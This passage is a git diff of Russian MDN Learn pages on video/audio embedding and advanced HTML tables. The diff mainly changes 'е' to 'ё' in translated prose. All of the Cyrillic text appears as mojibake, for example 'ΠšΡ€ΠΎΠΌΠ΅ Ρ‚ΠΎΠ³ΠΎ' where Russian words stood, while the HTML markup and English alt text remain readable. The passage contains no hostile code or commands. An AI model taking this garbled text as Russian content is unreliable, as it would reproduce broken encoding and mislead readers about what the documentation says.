<code>описаниями</code>.Β ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{htmlattrxref ("srclang", "track")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Π½Π° ΠΊΠ°ΠΊΠΎΠΌ языкС Π²Ρ‹ записывали субтитры.</li>
+ <li>Бсылка Π½Π° Ρ„Π°ΠΉΠ» <code>.vtt</code> с элСмСнтом {{htmlelement ("track")}}. <code>&lt;track&gt;</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π² <code>&lt;audio&gt;</code> ΠΈΠ»ΠΈ <code>&lt;video&gt;</code>, Π½ΠΎ послС элСмСнтов <code>&lt;source&gt;</code>. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref ("kind", "track")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π»ΠΈ Ρ€Π΅ΠΏΠ»ΠΈΠΊΠΈ <code>субтитрами</code>, <code>Ρ‚ΠΈΡ‚Ρ€Π°ΠΌΠΈ</code> ΠΈΠ»ΠΈ <code>описаниями</code>.Β ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{htmlattrxref ("srclang", "track")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Π½Π° ΠΊΠ°ΠΊΠΎΠΌ языкС Π²Ρ‹ записывали субтитры.</li>
</ol>
<p>Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -238,7 +238,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
&lt;/video&gt;
</pre>
-<p dir="ltr" id="tw-target-text">Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ просмотру Π²ΠΈΠ΄Π΅ΠΎ с субтитрами, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ:</p>
+<p dir="ltr" id="tw-target-text">Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ просмотру Π²ΠΈΠ΄Π΅ΠΎ с субтитрами, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ:</p>
<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
@@ -250,7 +250,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
<h3 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅_собствСнного_Π°ΡƒΠ΄ΠΈΠΎ_ΠΈ_Π²ΠΈΠ΄Π΅ΠΎ">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ собствСнного Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ</h3>
-<p>Для этого Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ обучСния ΠΌΡ‹ (Π² ΠΈΠ΄Π΅Π°Π»Π΅) Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π²Ρ‹ΡˆΠ»ΠΈ Π½Π° ΡƒΠ»ΠΈΡ†Ρƒ ΠΈ записали Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π²Π°ΡˆΠΈΡ… собствСнных Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ΠΎΠ² Π² наши Π΄Π½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΡ‡Π΅Π½ΡŒ Π»Π΅Π³ΠΊΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, ΠΈ, Ссли Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ пСрСнСсти ΠΈΡ… Π½Π° свой ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ WebM ΠΈ MP4 Π² случаС Π²ΠΈΠ΄Π΅ΠΎ, Π° Ρ‚Π°ΠΊΠΆΠ΅ MP3 ΠΈ Ogg Π² случаС Π°ΡƒΠ΄ΠΈΠΎ, Π½ΠΎ Π΅ΡΡ‚ΡŒ достаточно ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±Π΅Π· особых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> ΠΈ <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это!</p>
+<p>Для этого Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ обучСния ΠΌΡ‹ (Π² ΠΈΠ΄Π΅Π°Π»Π΅) Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π²Ρ‹ΡˆΠ»ΠΈ Π½Π° ΡƒΠ»ΠΈΡ†Ρƒ ΠΈ записали Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π²Π°ΡˆΠΈΡ… собствСнных Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π°ΡƒΠ΄ΠΈΠΎ. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ΠΎΠ² Π² наши Π΄Π½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΡ‡Π΅Π½ΡŒ Π»Π΅Π³ΠΊΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, ΠΈ, Ссли Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ пСрСнСсти ΠΈΡ… Π½Π° свой ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придётся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ WebM ΠΈ MP4 Π² случаС Π²ΠΈΠ΄Π΅ΠΎ, Π° Ρ‚Π°ΠΊΠΆΠ΅ MP3 ΠΈ Ogg Π² случаС Π°ΡƒΠ΄ΠΈΠΎ, Π½ΠΎ Π΅ΡΡ‚ΡŒ достаточно ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π±Π΅Π· особых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> ΠΈ <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Π»ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это!</p>
<p>Если Ρƒ вас Π½Π΅Ρ‚ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ»ΠΈ Π°ΡƒΠ΄ΠΈΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ свободно ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ нашими <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">ΠΎΠ±Ρ€Π°Π·Ρ†Π°ΠΌΠΈΒ Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Ρ„Π°ΠΉΠ»ΠΎΠ²</a> для выполнСния этого упраТнСния. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш ΠΎΠ±Ρ€Π°Π·Π΅Ρ† ΠΊΠΎΠ΄Π° для справки.</p>
diff --git a/files/ru/learn/html/tables/advanced/index.html b/files/ru/learn/html/tables/advanced/index.html
index e578557eb7..a98631d064 100644
--- a/files/ru/learn/html/tables/advanced/index.html
+++ b/files/ru/learn/html/tables/advanced/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/HTML/Tables/Advanced
<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div>
-<p class="summary">Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ этого модуля ΠΌΡ‹ рассматриваСм Π΅Ρ‰Π΅ нСсколько ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… возмоТностСй Π² HTML Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ…Β β€” Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ/описаниС и группировка строк Π²Π½ΡƒΡ‚Ρ€ΠΈΒ head, body ΠΈΒ footer сСкциях Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹,Β Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ† для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями.</p>
+<p class="summary">Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ этого модуля ΠΌΡ‹ рассматриваСм Π΅Ρ‰Ρ‘ нСсколько ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… возмоТностСй Π² HTML Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ…Β β€” Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ/описаниС и группировка строк Π²Π½ΡƒΡ‚Ρ€ΠΈΒ head, body ΠΈΒ footer сСкциях Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹,Β Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Ρ‚Π°Π±Π»ΠΈΡ† для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями.</p>
<table class="learn-box standard-table">
<tbody>
@@ -24,7 +24,7 @@ translation_of: Learn/HTML/Tables/Advanced
<h2 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°_ΠΊ_Ρ‚Π°Π±Π»ΠΈΡ†Π΅_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_&lt;caption>">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ &lt;caption&gt;</h2>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ установив Сго Π² элСмСнтС {{htmlelement("caption")}} ΠΈ этот элСмСнт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΒ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΒ Π²Π½ΡƒΡ‚Ρ€ΡŒΒ  элСмСнта {{htmlelement("table")}}. ΠŸΡ€ΠΈΡ‡Π΅ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ сразу послС открытия Ρ‚Π΅Π³Π°Β <code>&lt;table&gt;</code>.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ установив Сго Π² элСмСнтС {{htmlelement("caption")}} ΠΈ этот элСмСнт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΒ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΒ Π²Π½ΡƒΡ‚Ρ€ΡŒΒ  элСмСнта {{htmlelement("table")}}. ΠŸΡ€ΠΈΡ‡Ρ‘ΠΌ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ сразу послС открытия Ρ‚Π΅Π³Π°Β <code>&lt;table&gt;</code>.</p>
<pre class="brush: html notranslate">&lt;table&gt;
&lt;caption&gt;Dinosaurs in the Jurassic period&lt;/caption&gt;
@@ -42,7 +42,7 @@ translation_of: Learn/HTML/Tables/Advanced
<h3 id="Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°">Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅: Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ это, вСрнСмся ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ€Π°Π½Π΅Π΅ встрСтили Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ это, вСрнёмся ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ€Π°Π½Π΅Π΅ встрСтили Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
<ol>
<li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ расписаниС занятий школьного учитСля ΠΏΠΎ языку Π² ΠΊΠΎΠ½Ρ†Π΅ ΡΡ‚Π°Ρ‚ΡŒΠΈΒ <a href="/ru/docs/Learn/HTML/Tables/Basics#Active_learning_colgroup_and_col">HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ основы</a>, ΠΈΠ»ΠΈ сдСлайтС копию нашСго <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> Ρ„Π°ΠΉΠ»Π°.</li>
@@ -69,7 +69,7 @@ translation_of: Learn/HTML/Tables/Advanced
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: <code>&lt;tbody&gt;</code> всСгда Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅, нСявно Ссли нС ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ Π² ΠΊΠΎΠ΄Π΅. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ это, ΠΎΡ‚ΠΊΡ€Ρ‹Π² ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π½Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>&lt;tbody&gt;</code> и посмотритС HTML ΠΊΠΎΠ΄ Π²Β <a href="/ru/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a> β€” Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ±Π°Π²ΠΈΠ» этот Ρ‚Π΅Π³ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒΡΡ вопросом ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ»Π½ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎ Π΅Π³ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ, Π½ΠΎΒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это Π΄Π°Π΅Ρ‚ большС контроля Π½Π°Π΄ структурой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ стилСм.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: <code>&lt;tbody&gt;</code> всСгда Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅, нСявно Ссли нС ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π΅Π³ΠΎ Π² ΠΊΠΎΠ΄Π΅. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ это, ΠΎΡ‚ΠΊΡ€Ρ‹Π² ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π½Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡΒ <code>&lt;tbody&gt;</code> и посмотритС HTML ΠΊΠΎΠ΄ Π²Β <a href="/ru/docs/Learn/Common_questions/What_are_browser_developer_tools">browser developer tools</a> β€” Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ±Π°Π²ΠΈΠ» этот Ρ‚Π΅Π³ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒΡΡ вопросом ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ»Π½ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎ Π΅Π³ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ, Π½ΠΎΒ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это Π΄Π°Ρ‘Ρ‚ большС контроля Π½Π°Π΄ структурой Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ стилСм.</p>
</div>
<h3 id="Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅_Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_структуры_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹">Π£ΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅: Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ структуры Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</h3>
@@ -93,11 +93,11 @@ tfoot {
}
</pre>
</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Если <code>&lt;tbody&gt;</code>Β ΠΈΒ <code>&lt;tfoot&gt;</code> элСмСнты Π½Π΅ Π±Ρ‹Π»ΠΈ установлСны, Ρ‚ΠΎ Π²Π°ΠΌ придСтся ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ слоТных сСлСкторов/ΠΏΡ€Π°Π²ΠΈΠ» для примСнСния одного ΠΈ Ρ‚ΠΎΠ³ΠΎ ТС стиля.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚. Если <code>&lt;tbody&gt;</code>Β ΠΈΒ <code>&lt;tfoot&gt;</code> элСмСнты Π½Π΅ Π±Ρ‹Π»ΠΈ установлСны, Ρ‚ΠΎ Π²Π°ΠΌ придётся ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ слоТных сСлСкторов/ΠΏΡ€Π°Π²ΠΈΠ» для примСнСния одного ΠΈ Ρ‚ΠΎΠ³ΠΎ ТС стиля.</li>
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ сСйчас Π²Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅ CSS. Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΉΠ΄Π΅Ρ‚Π΅ наши CSS курсы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <a href="/ru/docs/Learn/CSS/Introduction_to_CSS">ВступлСниС Π² CSS</a> это Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ мСсто для Π½Π°Ρ‡Π°Π»Π°; Ρƒ нас Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ ΠΎ <a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/Building_blocks/Styling_tables">стилизации Ρ‚Π°Π±Π»ΠΈΡ†</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ Π½Π΅ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ сСйчас Π²Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅ CSS. Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΉΠ΄Ρ‘Ρ‚Π΅ наши CSS курсы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <a href="/ru/docs/Learn/CSS/Introduction_to_CSS">ВступлСниС Π² CSS</a> это Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ мСсто для Π½Π°Ρ‡Π°Π»Π°; Ρƒ нас Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΡ 